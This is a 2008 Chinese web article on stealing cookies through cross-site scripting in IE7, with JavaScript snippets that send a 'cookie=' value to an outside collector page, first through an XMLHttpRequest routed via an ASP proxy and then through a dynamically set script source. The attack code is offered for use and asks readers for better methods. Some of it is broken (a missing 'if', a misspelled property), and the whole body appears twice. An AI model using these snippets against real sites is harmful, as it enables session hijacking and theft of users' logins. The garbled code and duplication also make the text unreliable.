ie7下利用ajax跨域盜取cookie的解決辦法
更新時(shí)間:2008年07月09日 22:57:15 作者:
網(wǎng)上的很多文章提到的利用ajax盜取cookie的代碼經(jīng)我測(cè)試不可行。
研究了一下午,第一個(gè)難題是ajax跨域提交數(shù)據(jù),可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個(gè)asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個(gè)web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會(huì)用到iframe標(biāo)簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把a(bǔ)lert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個(gè)asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個(gè)web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會(huì)用到iframe標(biāo)簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把a(bǔ)lert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
相關(guān)文章
基于iframe實(shí)現(xiàn)ajax跨域請(qǐng)求 獲取網(wǎng)頁中ajax數(shù)據(jù)
這篇文章主要介紹了基于iframe實(shí)現(xiàn)ajax跨域請(qǐng)求,并獲取網(wǎng)頁中ajax數(shù)據(jù),如何利用網(wǎng)頁ajax請(qǐng)求暴露出來的接口去抓取網(wǎng)頁數(shù)據(jù)?需要的朋友可以參考下2016-01-01解決ajax請(qǐng)求后臺(tái),有時(shí)收不到返回值的問題
今天小編就為大家分享一篇解決ajax請(qǐng)求后臺(tái),有時(shí)收不到返回值的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-08-08ASP+AJAX+ACCESS數(shù)據(jù)庫實(shí)例講解三個(gè)步驟分享
其實(shí)說起AJAX的初級(jí)應(yīng)用是非常簡單的,通俗的說就是客戶端(javascript)與服務(wù)端(asp或php等)腳本語言的數(shù)據(jù)交互2012-07-07ajax實(shí)現(xiàn)提交時(shí)校驗(yàn)表單方法
這篇文章主要為大家詳細(xì)介紹了ajax實(shí)現(xiàn)提交時(shí)校驗(yàn)表單方法,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2020-02-02基于firefox實(shí)現(xiàn)ajax圖片上傳
這篇文章主要介紹了基于firefox實(shí)現(xiàn)ajax圖片上傳,大家都知道在FF下使用ajax是件挺困難的事情,今天給大家介紹的是完美解決這個(gè)問題的方法,小伙伴可以參考下。2015-05-05Jquery Ajax請(qǐng)求文件下載操作失敗的原因分析及解決辦法
jQuery確實(shí)是一個(gè)挺好的輕量級(jí)的JS框架,能幫助我們快速的開發(fā)JS應(yīng)用,并在一定程度上改變了我們寫JavaScript代碼的習(xí)慣,本文重點(diǎn)給大家介紹Jquery Ajax請(qǐng)求文件下載操作失敗的原因分析及解決辦法,對(duì)ajax請(qǐng)求失敗的原因分析感興趣的朋友一起學(xué)習(xí)把2015-11-11